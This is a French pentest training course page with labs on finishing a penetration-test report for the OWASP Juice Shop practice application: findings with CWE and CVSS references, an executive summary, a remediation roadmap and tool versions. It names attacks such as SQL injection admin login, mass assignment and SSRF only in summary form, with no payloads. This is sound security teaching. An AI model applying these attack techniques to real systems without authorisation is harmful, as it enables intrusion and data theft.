C'est la partie la plus lue et la plus difficile. Elle ne dit pas « SQLi sur /rest/user/login » mais « un visiteur non authentifié peut se connecter en administrateur et lire la base clients ». Un dirigeant doit comprendre le risque et la recommandation en une page, sans ouvrir la partie 4. Écrivez-la quand tout le reste est posé.

L'honnêteté du statut

Chaque finding porte un statut. « Ouvert », « corrigé et vérifié », « accepté avec justification » : ce sont des états différents. N'écrivez « corrigé » que là où vous avez rejoué la fermeture — sur ce parcours, uniquement VULN-04 et VULN-08 de votre appli. Tout Juice Shop reste « ouvert, remédiation recommandée » : vous n'en possédez pas le code.

✓ terminé
Travaux pratiques

TP 10 — Findings F-07 à F-10, et la cohérence des dix

Jour 3 · Les API, puis le rapport qui fait foi · 1 h 15

Compléter la partie 4 avec les findings d'API et de reconnaissance, puis vérifier que les dix blocs tiennent chacun leurs cinq obligations.

On assemble, on ne réattaque pas

Vous avez F-01 à F-06 depuis hier et quatre pistes d'API notées ce matin. Ce TP consolide : chaque finding doit porter ses cinq obligations, et le rapport doit compter dix blocs cohérents. Si une preuve manque, on la rejoue — on n'invente jamais.

  1. Rédigez F-07 à F-10 dans la partie 4, à partir de vos notes du matin et de la reconnaissance de mardi. Une répartition qui couvre bien la surface : F-07 mass assignment (création d'admin), F-08 BOLA ou exposition excessive de données d'API, F-09 serveur de fichiers exposé (/ftp), F-10 en-têtes de sécurité manquants (ou endpoint /metrics exposé). Adaptez selon ce que vous avez réellement prouvé.
  2. Pour chaque nouveau finding, remplissez les références CWE / OWASP — c'est ce qui ancre votre constat dans un référentiel partagé. Voici les correspondances utiles ; ne les recopiez pas à l'aveugle, vérifiez qu'elles collent à votre preuve.
    F-07 mass assignment ...... CWE-915  · API3:2023 (BOPLA)
    F-08 BOLA / exces de donnees CWE-639 / CWE-213 · API1 / API6:2023
    F-09 serveur de fichiers ... CWE-548 (listing) · A05:2021 (mauvaise config)
    F-10 en-tetes manquants .... CWE-693  · A05:2021 (mauvaise config)
  3. Passez chaque finding au crible des cinq obligations : sévérité + vecteur CVSS complet, composant précis, références CWE/OWASP, preuve rejouable, remédiation vérifiable. Ouvrez chaque bloc et cochez les cinq. Un bloc à quatre sur cinq n'est pas « presque bon » — il est incomplet, et le lecteur le verra.
  4. Vérifiez la cohérence d'ensemble d'un coup d'œil : dix blocs, dix vecteurs CVSS, dix statuts. Cette commande liste vos titres de findings et vous permet de repérer un manque.
    grep -nE '^### F-[0-9]{2}' rapports/pentest-juice-shop.md
    grep -c 'CVSS:3.1/' rapports/pentest-juice-shop.md   # doit renvoyer 10
  5. Contrôlez les statuts une dernière fois. Recherchez le mot « corrigé » dans votre rapport : il ne doit apparaître que pour VULN-04 et VULN-08, vos deux corrections vérifiées sur devsecops-lab. Partout ailleurs (Juice Shop), le statut est « ouvert — remédiation recommandée ».
  6. Mettez à jour la synthèse (partie 3) pour qu'elle reflète les dix findings. Le tableau doit se lire seul, sans ouvrir la partie 4.
    ## 3. Synthese des findings
    
    | ID   | Titre                                   | Severite | CVSS | Statut  |
    |------|-----------------------------------------|----------|------|---------|
    | F-01 | Injection SQL (auth + recherche)        | Critical | 9.8  | Ouvert  |
    | F-02 | Contournement d'auth / jeton bavard     | High     | ...  | Ouvert  |
    | F-03 | Absence de limitation des tentatives    | Medium   | ...  | Ouvert  |
    | F-04 | IDOR / BOLA sur le panier               | ...      | ...  | Ouvert  |
    | F-05 | SSRF (prouve sur devsecops-lab)         | High     | ...  | Corrige |
    | F-06 | XXE (upload XML)                        | ...      | ...  | Ouvert  |
    | F-07 | Mass assignment (creation d'admin)      | High     | ...  | Ouvert  |
    | F-08 | BOLA / exces de donnees d'API           | ...      | ...  | Ouvert  |
    | F-09 | Serveur de fichiers expose (/ftp)       | Medium   | ...  | Ouvert  |
    | F-10 | En-tetes de securite manquants          | Low      | ...  | Ouvert  |
  7. Committez : « pentest juice-shop : findings F-07 a F-10 et synthese ». Votre partie 4 est close, la partie 3 est à jour. Il ne reste que ce qui parle au décideur — résumé exécutif et feuille de route — c'est le dernier TP.
Questions de réflexion — à préparer par écrit
  • Vous avez dix findings pour une seule application. Est-ce un signe que Juice Shop est exceptionnellement mauvaise, ou que toute application non testée en cache autant ?
  • Un de vos findings est coté Low (en-têtes manquants). Pourquoi le garder dans le rapport plutôt que de ne lister que le grave, et qu'apporte-t-il au lecteur ?
Pour vous repérer

Le contrôle grep -c 'CVSS:3.1/' qui ne renvoie pas 10 est votre meilleur détecteur d'oubli : un finding sans vecteur est un finding incomplet, et c'est le défaut que l'encadrant repérera en premier. Ne « complétez » pas un vecteur au jugé pour faire le compte — construisez-le sur la preuve, ou baissez la sévérité si la preuve ne soutient pas mieux. Test : chaque bloc doit répondre oui aux cinq obligations, sans exception « parce que c'est un petit finding ».

✓ terminé
Travaux pratiques

TP 11 — Résumé exécutif et feuille de route

Jour 3 · Les API, puis le rapport qui fait foi · 1 h

Écrire les deux parties que le client lit vraiment — le résumé sans jargon et la feuille de route priorisée — puis clore le rapport.

Le plus difficile arrive à la fin

Les parties 1 et 5 sont courtes mais décisives : ce sont elles qu'un décideur et un chef de projet ouvriront. Elles s'écrivent maintenant que tout le reste est posé et coté. Prenez le temps qu'elles méritent — un rapport se juge souvent sur sa première page.

  1. Rédigez la partie 1, le résumé exécutif : une page, aucun jargon. Trois paragraphes suffisent — le risque global, les deux ou trois points saillants traduits en conséquences métier, la recommandation. Voici un gabarit à adapter, pas à recopier tel quel.
    ## 1. Resume executif
    
    Le test d'intrusion de l'application, mene en boite noire du 18 au 20 aout 2026,
    a identifie dix vulnerabilites, dont une critique. La plus grave permet a un
    visiteur non authentifie de se connecter en tant qu'administrateur et de lire la
    base des clients : elle doit etre corrigee sans delai.
    
    Au-dela de ce point, plusieurs faiblesses permettent d'acceder aux donnees
    d'autres utilisateurs, de creer un compte administrateur depuis le formulaire
    public, et de recuperer des fichiers internes. Prises ensemble, elles exposent
    les donnees personnelles des clients et la maitrise de l'application.
    
    Nous recommandons de traiter en priorite l'injection et les defauts de controle
    d'acces, puis de reprendre la configuration (en-tetes, fichiers exposes). Le
    detail technique et les preuves figurent en parties 4 et 6.
  2. Relisez ce résumé du point de vue d'un dirigeant : chaque phrase doit se comprendre sans connaître le vocabulaire technique. « Injection SQL » devient « un visiteur peut se connecter sans mot de passe » ; « BOLA » devient « accéder aux données d'un autre client ». Si un terme technique subsiste, traduisez-le.
  3. Rédigez la partie 5, la feuille de route : les findings ordonnés par sévérité puis par effort, avec le délai attendu de chaque bande. C'est ce que le chef de projet transformera en tickets.
    ## 5. Feuille de route de remediation
    
    | Priorite | Finding(s)          | Action                                  | Delai      |
    |----------|---------------------|-----------------------------------------|------------|
    | 1        | F-01                | Requetes parametrees partout            | Immediat   |
    | 2        | F-04, F-07, F-08    | Controle d'acces par objet ; liste      | <= 7 jours |
    |          |                     | blanche de champs cote serveur          |            |
    | 3        | F-02, F-05, F-06    | Reduire le contenu des jetons ; couper  | <= 30 j    |
    |          |                     | les entites XML ; liste blanche SSRF    |            |
    | 4        | F-03, F-09, F-10    | Limitation des tentatives ; retirer le  | Planifie   |
    |          |                     | serveur de fichiers ; en-tetes          |            |
  4. Complétez la partie 6, les annexes : la liste des commandes rejouables (renvoyez à artefacts/), les versions d'outils, et les références. C'est ce qui rend votre travail reproductible par un tiers.
    ## 6. Annexes
    
    - Outils : mitmproxy, ffuf 2.1.0, nuclei 3.3.0, sqlmap 1.8.7, OWASP ZAP 2.15.0
    - Artefacts bruts : artefacts/ (recon, ffuf-dirs.json, nuclei.jsonl, sqlmap/)
    - Chaque finding en partie 4 porte sa commande de preuve, rejouable telle quelle
    - References : OWASP Top 10 2021, OWASP API Security Top 10 2023, CWE, CVSS v3.1
  5. Faites une relecture de bout en bout. Trois contrôles : le résumé tient-il sur une page sans jargon ? La feuille de route couvre-t-elle les dix findings ? Le mot « corrigé » n'apparaît-il que pour VULN-04 et VULN-08 ? Corrigez ce qui accroche.
  6. Commit final du livrable. Le rapport est versionné ; vérifiez qu'aucune clé ni aucun secret ne part avec lui.
    git add rapports/pentest-juice-shop.md
    git commit -m "pentest juice-shop : rapport complet (resume, findings, feuille de route)"
    git ls-files | grep -E '\.key$|\.env$|token' || echo 'aucun secret versionne'
  7. Votre rapport est complet : six parties, dix findings, chacun prouvé et coté, un résumé lisible par un décideur et une feuille de route actionnable. C'est le livrable du module — et la pièce que vous présenterez à la revue de cet après-midi.
Questions de réflexion — à préparer par écrit
  • Vous avez traduit chaque terme technique du résumé en conséquence métier. Pourquoi cette traduction est-elle un travail de pentester, et pas la responsabilité du lecteur ?
  • La feuille de route ordonne par sévérité puis par effort. Dans quel cas remonteriez-vous un finding de sévérité moindre mais d'effort quasi nul avant un plus grave et coûteux ?
Pour vous repérer

Le piège du résumé exécutif : y glisser du vocabulaire technique « parce que c'est plus précis ». Ce n'est pas sa fonction — sa fonction est qu'un dirigeant décide. Gardez le jargon pour la partie 4. Pour la feuille de route, résistez à l'ordre « par numéro de finding » : elle s'ordonne par ce qu'il faut faire d'abord, sévérité puis effort. Test final : donnez la première page à quelqu'un qui n'a pas suivi le test ; s'il sait dire le risque principal et la première action, le rapport est prêt pour la revue.

✓ terminé
Point de contrôle

M5 · J3 — Rapport de pentest : dix findings, preuve et CVSS

Jour 3 · Les API, puis le rapport qui fait foi · 2 h

Vérifiez avant de continuer
Revue de fin de module — jeudi 20 août, 15 h 00

Deux heures avec votre encadrant, la dernière revue avant le projet fil rouge. Il lira votre rapport comme le lirait un client : un finding sans preuve rejouable, un vecteur CVSS indéfendable ou un statut « corrigé » de complaisance seront relevés.

Préparez de quoi montrer en direct trois choses : la preuve de trois findings rejouée sans filet, la justification d'un vecteur CVSS métrique par métrique, et les deux corrections (même charge refusée après). Le reste se lit ; celles-là se démontrent.

Le projet fil rouge et la soutenance ont lieu vendredi 21 : vous y assemblerez les cinq modules et présenterez, entre autres, ce rapport.

✓ terminé

Mon avancement

Signature d'émargement

Demander de l'aide à votre encadrant

Étape concernée :

Avant d'envoyer

Cherchez seul pendant 30 minutes et notez ce que vous avez tenté. Ce que vous avez essayé fait partie de ce que vous présentez — c'est ce qui distingue l'autonomie de l'abandon.